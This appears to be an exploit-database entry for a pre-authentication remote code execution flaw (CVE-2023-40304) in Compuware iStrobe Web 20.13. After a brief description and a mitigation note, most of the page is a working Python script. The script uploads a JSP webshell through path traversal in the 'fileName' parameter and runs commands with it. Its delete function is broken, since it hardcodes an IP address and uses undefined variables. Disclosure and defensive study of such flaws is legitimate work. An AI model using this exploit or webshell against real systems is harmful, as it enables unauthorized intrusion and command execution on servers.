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vendor:
Compuware iStrobe Web
by:
trancap
6.1
CVSS
HIGH
Remote Code Execution (RCE)
434
CWE
Product Name: Compuware iStrobe Web
Affected Version From: BMC Compuware iStrobe Web - 20.13
Affected Version To: BMC Compuware iStrobe Web - 20.13
Patch Exists: NO
Related CWE: CVE-2023-40304
CPE: a:bmc:compuware_istrobe_web:20.13
Other Scripts:
Platforms Tested: zOS
2023

Pre-auth RCE on Compuware iStrobe Web

The vulnerability allows for pre-authenticated Remote Code Execution (RCE) on Compuware iStrobe Web version 20.13. By exploiting this vulnerability, an attacker can upload a webshell through a web upload form, utilizing path traversal and arbitrary file upload (.jsp files). The specific vulnerable parameter is 'fileName' which can be manipulated to upload a webshell.

Mitigation:

To mitigate this vulnerability, it is recommended to disable 'Guest access' and ensure that proper input validation is implemented in the web application to prevent path traversal and arbitrary file uploads.
Source

Exploit-DB raw data:

#!/usr/bin/env python3

# Exploit Title: Pre-auth RCE on Compuware iStrobe Web
# Date: 01-08-2023
# Exploit Author: trancap
# Vendor Homepage: https://www.bmc.com/
# Version: BMC Compuware iStrobe Web - 20.13
# Tested on: zOS# CVE : CVE-2023-40304
# To exploit this vulnerability you'll need "Guest access" enabled. The vulnerability is quite simple and impacts a web upload form, allowing a path traversal and an arbitrary file upload (.jsp files)
# The vulnerable parameter of the form is "fileName". Using the form, one can upload a webshell (content of the webshell in the "topicText" parameter).# I contacted the vendor but he didn't consider this a vulnerability because of the Guest access needed.

import requests
import urllib.parse
import argparse
import sys

def upload_web_shell(url):
  data = {"fileName":"../jsp/userhelp/ws.jsp","author":"Guest","name":"test","action":"open","topicText":"<%@
page import=\"java.lang.*,java.io.*,java.util.*\" %><%Process
p=Runtime.getRuntime().exec(request.getParameter(\"cmd\"));BufferedReader
stdInput = new BufferedReader(new
InputStreamReader(p.getInputStream()));BufferedReader stdError = new
BufferedReader(new InputStreamReader(p.getErrorStream()));String
s=\"\";while((s=stdInput.readLine()) !=
null){out.println(s);};s=\"\";while((s=stdError.readLine()) !=
null){out.println(s);};%>","lang":"en","type":"MODULE","status":"PUB"}
  # If encoded, the web shell will not be uploaded properly
  data = urllib.parse.urlencode(data, safe='"*<>,=()/;{}!')

  # Checking if web shell already uploaded
  r = requests.get(f"{url}/istrobe/jsp/userhelp/ws.jsp", verify=False)
  if r.status_code != 404:
    return

  r = requests.post(f"{url}/istrobe/userHelp/saveUserHelp", data=data,
verify=False)

  if r.status_code == 200:
    print(f"[+] Successfully uploaded web shell, it should be
accessible at {url}/istrobe/jsp/userhelp/ws.jsp")
  else:
    sys.exit("[-] Something went wrong while uploading the web shell")

def delete_web_shell(url):
  paramsPost = {"fileName":"../jsp/userhelp/ws.jsp","author":"Guest","name":"test","action":"delete","lang":"en","type":"MODULE","status":"PUB"}
  response = session.post("http://220.4.147.38:6301/istrobe/userHelp/deleteUserHelp",
data=paramsPost, headers=headers, cookies=cookies)

  if r.status_code == 200:
    print(f"[+] Successfully deleted web shell")
  else:
    sys.exit("[-] Something went wrong while deleting the web shell")

def run_cmd(url, cmd):
  data = f"cmd={cmd}"
  r = requests.post(f"{url}/istrobe/jsp/userhelp/ws.jsp", data=data,
verify=False)

  if r.status_code == 200:
    print(r.text)
  else:
    sys.exit(f'[-] Something went wrong while executing "{cmd}" command')

parser = argparse.ArgumentParser(prog='exploit_cve_2023_40304.py', description='CVE-2023-40304 - Pre-auth file upload vulnerability + path traversal to achieve RCE')
parser.add_argument('url', help='Vulnerable URL to target. Must be like http(s)://vuln.target')
parser.add_argument('-c', '--cmd', help='Command to execute on the remote host (Defaults to "whoami")', default='whoami')
parser.add_argument('--rm', help='Deletes the uploaded web shell', action='store_true')
args = parser.parse_args()

upload_web_shell(args.url)
run_cmd(args.url, args.cmd)

if args.rm:
  delete_web_shell(args.url)